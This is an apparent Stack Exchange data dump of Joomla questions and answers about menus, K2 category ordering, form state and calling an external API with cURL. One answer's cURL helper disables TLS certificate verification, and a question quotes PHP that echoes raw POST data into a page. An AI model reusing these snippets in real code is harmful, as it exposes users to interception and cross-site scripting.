  <row Id="15190" PostTypeId="2" ParentId="15154" CreationDate="2016-02-04T11:05:45.120" Score="0" Body="&lt;p&gt;You can use com_ajax&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at this:&#xA;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and also and example here:&#xA;&lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/Ajax-Latest-Articles&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-Ajax-Interface/Ajax-Latest-Articles&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-02-04T11:05:45.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15191" PostTypeId="2" ParentId="15117" CreationDate="2016-02-04T11:38:32.983" Score="1" Body="&lt;p&gt;Joomla has its own method of creating tabs. Please refer the following links for this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://itprism.com/blog/106-bootstrap-tabs-accordion-slides&quot; rel=&quot;nofollow&quot;&gt;http://itprism.com/blog/106-bootstrap-tabs-accordion-slides&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Using_the_JHtmlTabs_class_in_a_component&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Using_the_JHtmlTabs_class_in_a_component&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please have a look and let us know if this helps.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-02-04T11:38:32.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15192" PostTypeId="1" AcceptedAnswerId="15193" CreationDate="2016-02-04T12:24:10.153" Score="2" ViewCount="212" Body="&lt;p&gt;Pretty much self-explanatory. The &lt;code&gt;Order&lt;/code&gt; field in the filters menu in the backend is greyed out and I cannot find another way to change the order of the filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me I'm missing something because reordering filters is quite essential to a lot of sites with many filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My filters:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GFCik.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GFCik.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, &quot;Volltextsuche&quot; is at position 13. I want it to be the first though but can't change the order because it's greyed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please enlighten me :)&lt;/p&gt;&#xA;" OwnerUserId="7741" LastEditorUserId="3650" LastEditDate="2016-11-13T09:28:25.980" LastActivityDate="2016-11-13T09:28:25.980" Title="Change Order of Filters in Hikashop" Tags="|joomla-3.x|hikashop|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15193" PostTypeId="2" ParentId="15192" CreationDate="2016-02-04T14:05:44.880" Score="4" Body="&lt;p&gt;I have never worked on HikaShop before, but this appears to me as a classic issue of inactive ordering fields until you click on &lt;code&gt;'Order'&lt;/code&gt; column header, in your case &lt;code&gt;'Reihenfolge'&lt;/code&gt;.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll bet you any money that when you click on it, it will become active sorting filter (on your screenshot field &lt;code&gt;'Id'&lt;/code&gt; is active at the moment), and columns for ordering will become active, thus allowing you to set the order you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a weird issue, and gets easily overlooked thus making unaware users go bezerk.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-09-23T08:30:32.957" LastActivityDate="2016-09-23T08:30:32.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15194" PostTypeId="2" ParentId="15188" CreationDate="2016-02-04T15:05:34.817" Score="1" Body="&lt;p&gt;EUREKA !!!! the solution:&#xA;When Joomla is installed it has SEF-URL (search engine friendly - URL) enabled. And don't ask me why but that caused the JCE not to function in the redirected sites.&#xA;So disabling &quot;search engine friendly&quot; URL in Global Configuration restored JCE's Function.&#xA;Thanks to the &quot;Hyde-design&quot; page that put me on the right track.&#xA;References:&#xA;&lt;a href=&quot;http://www.hyde-design.co.uk/joomla-training/sef-joomla/urls-&quot; rel=&quot;nofollow&quot;&gt;http://www.hyde-design.co.uk/joomla-training/sef-joomla/urls-&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7744" LastActivityDate="2016-02-04T15:05:34.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15195" PostTypeId="1" CreationDate="2016-02-04T17:30:42.560" Score="2" ViewCount="941" Body="&lt;p&gt;Basically I have the following K2 hierarchy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Category CARS&#xA;-- Sub Category Audi&#xA;--- Item Audi A3&#xA;--- Item Audi A5&#xA;-- Sub Category BMW&#xA;--- Item BMW 120d&#xA;--- Item BMW M5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wanted to display those K2 Items in that order, but it seems that by default K2 displays like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Category CARS&#xA;-- Sub Category Audi&#xA;-- Sub Category BMW&#xA;--- Item Audi A3&#xA;--- Item Audi A5&#xA;--- Item BMW 120d&#xA;--- Item BMW M5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have my menu item displaying &lt;code&gt;k2 &amp;gt; Category CARS&lt;/code&gt;. Everything is fine but not the displaying order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve the desired order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2018-09-16T11:15:22.333" Title="K2 Items under K2 Category" Tags="|joomla-3.x|k2|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15197" PostTypeId="2" ParentId="14983" CreationDate="2016-02-04T18:49:57.120" Score="2" Body="&lt;p&gt;Here is a quick bit of code that will retrieve the category name for you. This code assumes that you are on an article page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$JInput = JFactory::getApplication()-&amp;gt;input;&#xA;$articleId = $JInput-&amp;gt;get('id','','int');&#xA;&#xA;$categoryName = getCategoryName($articleId);&#xA;&#xA;echo $categoryName;&#xA;&#xA;function getCategoryName($articleId)&#xA;{&#xA;    $db = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('c.title');&#xA;    $query-&amp;gt;from('#__categories AS c');&#xA;    $query-&amp;gt;join(&quot;INNER&quot;,&quot;#__content AS a ON c.id = a.catid&quot;);&#xA;    $query-&amp;gt;where(&quot;a.id = '$articleId'&quot;);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $row = $db-&amp;gt;loadObject();&#xA;&#xA;    return $row-&amp;gt;title;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a single artilce menu item the URL generated in the database contains an id parameter. JInput grabs the value of id and the queries the database using the getCategoryName function which returns the correct category name for you as the variable $categoryName.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a good one.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-04T18:49:57.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15198" PostTypeId="2" ParentId="15004" CreationDate="2016-02-04T18:54:40.697" Score="2" Body="&lt;p&gt;Create a hidden menu, add the login page to that menu and leave it set to public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a login module and set your redirect page with the module parameters. Publish the module and have the module set to guest so it disappears after loggin in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should resolve your issues.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-04T18:54:40.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15199" PostTypeId="2" ParentId="15195" CreationDate="2016-02-04T19:33:39.313" Score="2" Body="&lt;p&gt;For any setting related to K2 there is just no simple answer. It is very powerfull and hence pretty tough beast to tame.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;K2 Category blog view has three distinctive areas:&lt;br&gt;&#xA;1. Root category block with it's title, image, description&lt;br&gt;&#xA;2. Sub-categories block, with their titles, images and descriptions&lt;br&gt;&#xA;3. Items block, with items belonging to either root category and/or sub-categories, with their atributes. Items display depends on settings chosen in both main category and sub-categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is no setting which will enable you to mix blocks 2 and 3, which is what you want, if I understand your question correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only way I can see your problem might be solved is to create specific K2 category view layout override, but that might turn out to be pretty messy. I for one would have to scratch my head pretty hard to achieve it.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2018-09-16T11:15:22.333" LastActivityDate="2018-09-16T11:15:22.333" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15200" PostTypeId="2" ParentId="15163" CreationDate="2016-02-04T20:38:48.223" Score="2" Body="&lt;p&gt;I was able to resolve the issue.    I needed to duplicate the gantry template.  On the second template, I simply chose the P3 Live Menu under Menu.  Then under Assignments (in the template), I chose the applicable template for each page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This resolved the menu structure and also the issue for having specific menus only for the appropriate pages.&lt;/p&gt;&#xA;" OwnerUserId="7700" LastActivityDate="2016-02-04T20:38:48.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15201" PostTypeId="1" CreationDate="2016-02-04T22:53:29.793" Score="0" ViewCount="59" Body="&lt;p&gt;I feel like I am losing my mind here, a few months ago I created several new pages on this website and had zero issues adding the menus to my new article pages, now when I am trying to add a new JEvents calendar page the menu area is blank!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have even tried setting one of the menus to show on every page, and the menu area is still blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT : When I add the ?tp=1 command to the url the menu displays, leaving me at a bit confused about what is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could chime in with ideas of how the ?tp=1 command is somehow triggering the menu to appear that would be awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please be aware that this whole issue could be a simple case of &quot;I forgot crucial step X&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="7749" LastActivityDate="2016-02-05T00:09:46.450" Title="Joomla menu only being rendered when ?tp=1 is set" Tags="|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15202" PostTypeId="2" ParentId="15201" CreationDate="2016-02-05T00:09:46.450" Score="1" Body="&lt;p&gt;Look at the permissions settings on the menu and articles maybe? Is one of them set to registered only or guest possibly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?tp=1 is just a flag for the template to render the module positions on the page, it has nothing to do with whether or not a module is visible to the users. Not being able to see a module is either a permissions issue or the menu not being published to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the outside change of some very long caching issue you may wanna check that your page isn't cached by Joomla as well.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-05T00:09:46.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15203" PostTypeId="2" ParentId="14466" CreationDate="2016-02-05T00:52:47.363" Score="1" Body="&lt;p&gt;@FFrewin This solution would work if you were custom coding a menu, but having a pre-built menu modules more than likely would not work since the menu is dynamically generated unless you modified the code. Your comment on the OP question about using a CSS class is indeed the correct method of firing a modal event form a menu item.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-05T00:52:47.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15204" PostTypeId="2" ParentId="15187" CreationDate="2016-02-05T04:29:36.673" Score="0" Body="&lt;p&gt;From the backend go to Global Configuration&#xA;Click Articles in the left hand sidebar&#xA;Go to the permissions tab and edit the permissions for the group you created&#xA;Save&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to deny access to all of the other components (banners, weblinks, etc) go to those components and kill the access for the group you created.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-05T04:29:36.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15206" PostTypeId="2" ParentId="4227" CreationDate="2016-02-05T12:50:24.360" Score="1" Body="&lt;p&gt;Extending on david's answer. Following technique uses the method that was specifically designed for the problem at hand. The solution is to use &lt;code&gt;JApplication::setUserState()&lt;/code&gt; and &lt;code&gt;JApplication::getUserState()&lt;/code&gt; methods. Following code demonstrates the usage  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//In the save function, do this:&#xA;JFactory::getApplication()-&amp;gt;setUserState('post-data', $_POST, array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//In the form , do this to retrieve the value:&#xA;JFactory::getApplication()-&amp;gt;getUserState('post-data');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//do following to clear the value&#xA;JFactory::getApplication()-&amp;gt;setUserState('post-data', null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;code&gt;JApplication::getUserStateFromRequest()&lt;/code&gt;. This function &lt;strong&gt;prefers&lt;/strong&gt; to load the value from request, and then &lt;strong&gt;saves it in user session as well&lt;/strong&gt;. So next time you call this function without having data in request, it'll load the data from session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_use_user_state_variables&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_use_user_state_variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps someone.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2016-02-05T12:50:24.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15207" PostTypeId="2" ParentId="5655" CreationDate="2016-02-05T18:10:59.223" Score="0" Body="&lt;p&gt;If I understand what you are trying to do it looks like you have an edit layout, your form model is loading the form as you wanted it to, and your data is not saving as anticipated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to override your default save function for your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your controller create a new function for save and it should override the default save function for Joomla&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save()&#xA;{&#xA;    //GET THE DATA SUBMITTED BY THE FORM&#xA;    $JInput = JFactory::getApplication-&amp;gt;input;&#xA;    $jform = $JInput-&amp;gt;get('jform','','array);&#xA;&#xA;    //DO STUFF WITH YOUR SUBMITTED FORM DATA&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is, if I understood your question.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-05T18:10:59.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15208" PostTypeId="2" ParentId="15097" CreationDate="2016-02-05T18:21:26.530" Score="1" Body="&lt;p&gt;Have you tried retrieving the form input directly without using JFilterInput?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filter  = JFilterInput::getInstance();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dancers = $input-&amp;gt;get('dancer','','array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can then do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['dancer_id'] = implode(&quot;,&quot;, $dancers);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there you can finish up with your save methods&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-05T18:21:26.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15209" PostTypeId="2" ParentId="15039" CreationDate="2016-02-05T18:54:34.493" Score="1" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$usergroups = JAccess::getGroupsByUser($user-&amp;gt;id,false);&#xA;&#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);   &#xA;$query-&amp;gt;select('title, rules');&#xA;$query-&amp;gt;from('#__viewlevels');&#xA;$db-&amp;gt;setQuery($query);&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;$viewlevels = array();&#xA;$levels = array();&#xA;&#xA;foreach($rows as $viewlevel){&#xA;    $viewlevels[$viewlevel-&amp;gt;title] = json_decode($viewlevel-&amp;gt;rules);&#xA;}&#xA;&#xA;foreach($viewlevels as $level =&amp;gt; $viewgroups){&#xA;    $result = array_intersect($usergroups, $viewgroups);&#xA;    if(!empty($result)){&#xA;        $levels[] = $level;&#xA;    }&#xA;}&#xA;&#xA;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($levels);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you an array of view levels that the user has access to, you can then compare that to the view level of your current article, menu item, etc. The false flag sets getGroupsByUser to only return important groups (strips out public, guest, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALso if you want to filter out default access levels just add this to the query for the #__viewlevels table right after the &quot;$query-&gt;from&quot; statement on the next line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where(&quot;title NOT IN ('Guest','Public','Registered','Special','Super Users')&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-05T18:54:34.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15210" PostTypeId="2" ParentId="14841" CreationDate="2016-02-05T19:07:41.227" Score="2" Body="&lt;p&gt;It sounds like the are just returning the data from the API in JSON format for you to do with as you please. My initial thought would be that you need to use something like cURL or AJAX to request the data from their site, then decode the JSON information they send back so you have an array you can work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preference would be cURL since it is easier for me to work with, but to each their own. Below is a simple cURL function for PHP that I use on several client sites that works wonderfully.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function urlGetContents($url, $useragent='cURL')&#xA;{&#xA;    $ch = curl_init();&#xA;    curl_setopt($ch, CURLOPT_URL, $url);&#xA;    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);&#xA;    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);&#xA;    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);&#xA;    $result = curl_exec($ch);&#xA;    curl_close($ch);&#xA;    return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so if your address to query their API was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = 'http://www.braincert.com/joomlaapi.php?your_secret_key=xxxxx&amp;amp;method=scheduling';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you could do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = urlGetContents($url);&#xA;&#xA;$results = json_decode($data);&#xA;&#xA;print_r($results)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-05T19:07:41.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15211" PostTypeId="2" ParentId="14363" CreationDate="2016-02-05T19:21:45.627" Score="1" Body="&lt;p&gt;Add this to your templates index.php file before the closing body tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$JInput = JFactory::getApplication()-&amp;gt;input;&#xA;$itemid = $JInput-&amp;gt;get('Itemid','','int');&#xA;if($itemid == 'YOUR NUMERIC HOME PAGE ITEMID'){&#xA;    $doc = JFactory::getDocument();&#xA;    $doc-&amp;gt;addHeadLink(JUri::root(),'canonical');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that will reset your canonical link on your homepage to be the URL of you site.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2018-01-03T23:16:16.857" LastActivityDate="2018-01-03T23:16:16.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15212" PostTypeId="2" ParentId="15188" CreationDate="2016-02-05T23:45:01.993" Score="0" Body="&lt;p&gt;Depending on your hosting setup you may need to enable RewriteBase in the &lt;code&gt;.htaccess&lt;/code&gt; file of the sub directory Joomla installs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, uncomment and change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /subdir1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;References:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/10528674/1983389&quot;&gt;https://stackoverflow.com/a/10528674/1983389&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/15346539/1983389&quot;&gt;https://stackoverflow.com/a/15346539/1983389&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/33026325/1983389&quot;&gt;https://stackoverflow.com/a/33026325/1983389&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-02-05T23:45:01.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15213" PostTypeId="2" ParentId="13881" CreationDate="2016-02-06T05:20:38.863" Score="2" Body="&lt;p&gt;Download Flexi Custom Code Module from the JED and install it. Publish the module to whatever position on the page you want. Hide the module title. Disable clean css, clean, html and clean jscript. Leave PHP turned on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter this code in the custom code box&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;$JInput = JFactory::getApplication()-&amp;gt;input;&#xA;$Itemid = $JInput-&amp;gt;get('Itemid','','int');&#xA;$items = $menu-&amp;gt;getMenu();&#xA;&#xA;$pagination = array();&#xA;foreach($items as $item){&#xA;    if($item-&amp;gt;link != '' &amp;amp;&amp;amp; $item-&amp;gt;type != 'separator' &amp;amp;&amp;amp; $item-&amp;gt;level == 1){&#xA;        if(strpos($item-&amp;gt;link, 'index.php?option')!== false){&#xA;            $link = JRoute::_($item-&amp;gt;link.'&amp;amp;Itemid='.$item-&amp;gt;id);&#xA;        }else{&#xA;            $link = $item-&amp;gt;link;&#xA;        }&#xA;        $pagination[] = array('Itemid'=&amp;gt;$item-&amp;gt;id, 'link' =&amp;gt; $link);&#xA;    }&#xA;}&#xA;&#xA;foreach($pagination as $k =&amp;gt; $menuItem){&#xA;    if($menuItem['Itemid'] == $Itemid){&#xA;        if($k == 0){&#xA;            $prev = $pagination[count($pagination) - 1]['link'];&#xA;            $next = $pagination[$k + 1]['link'];&#xA;        }elseif($k == count($pagination) - 1){&#xA;            $prev = $pagination[count($pagination) - 2]['link'];&#xA;            $next = $pagination[0]['link'];&#xA;        }else{&#xA;            $prev = $pagination[$k - 1]['link'];&#xA;            $next = $pagination[$k + 1]['link'];&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;echo $next.'&amp;lt;br /&amp;gt;'.$prev;&#xA;&#xA;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($items);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code assumes that all of your menu items are root level menu items and that they are not Text Separators. The pagination should automatically update based on what page you are on and if you change the sort order of menu items in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only briefly tested this on my site and it works. You may need to tweak it a little bit but it should be a good place to start at least.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-06T05:20:38.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15215" PostTypeId="1" CreationDate="2016-02-06T11:14:21.263" Score="0" ViewCount="132" Body="&lt;p&gt;For registering, implemented CB Login module (&lt;a href=&quot;http://www.tnssecurities.in/&quot; rel=&quot;nofollow&quot;&gt;tnssecurities.in&lt;/a&gt;). After filling Register form, getting no message if registration successful/not successful. Backend, under Registration menu of Community Builder component, opted Yes for Email Confirmation and No for Admin Approval. When successful (verified from User Management list), there is no message of successful registration in the user's email. Need help regarding how to edit settings such that users get a message of successful registration.&lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="2203" LastEditDate="2016-02-06T12:04:48.413" LastActivityDate="2016-02-16T06:41:26.783" Title="Register form for CB Login not giving status report after registering" Tags="|community-builder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15217" PostTypeId="1" CreationDate="2016-02-06T14:54:11.443" Score="0" ViewCount="535" Body="&lt;p&gt;I would like to know how to hold text area or select dropdown value in edit section of the form page. Right now if I put text in textarea box and select a particular value from a dropdown list, those value saved really well in the form. But when I tried to edit that form, those selected textarea and dropdown value is gone. But in input textbox, that value always holds even after form edit. But in textarea or select dropdown, all values are gone when you tried to edit the form.&#xA;I need this work on my joomla php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried many methods from stackoverflow like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;post_text&quot; cols=&quot;50&quot; rows=&quot;5&quot;&amp;gt;&amp;lt;?php echo htmlspecialchars($_POST['post_text']);?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;post_text&quot; cols=&quot;50&quot; rows=&quot;5&quot;&amp;gt;&amp;lt;?php echo $_POST['textareaContent']; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But nothing is working. So need your help on this.&lt;/p&gt;&#xA;" OwnerUserId="4096" LastEditorUserId="168" LastEditDate="2016-02-06T22:32:33.500" LastActivityDate="2016-02-07T03:05:50.440" Title="How to hold value of Text area or dropdown when editing the form" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15219" PostTypeId="2" ParentId="15097" CreationDate="2016-02-06T19:10:47.783" Score="1" Body="&lt;p&gt;I've figured it out with the help of someone on the Joomla DEV Google Groups (&lt;a href=&quot;https://groups.google.com/d/msg/joomla-dev-general/EhH0qoRk1uw/ajTtDKYXBwAJ&quot; rel=&quot;nofollow&quot;&gt;details&lt;/a&gt;): I did not have my custom field dancer_id added to the jform array like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input id=&quot;dancer_id&quot; type=&quot;checkbox&quot; name=&quot;jform[dancer_id][]&quot; value=&quot;2261&quot; checked&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once I did so, it all worked. Details linked above.&lt;/p&gt;&#xA;" OwnerUserId="7590" LastActivityDate="2016-02-06T19:10:47.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
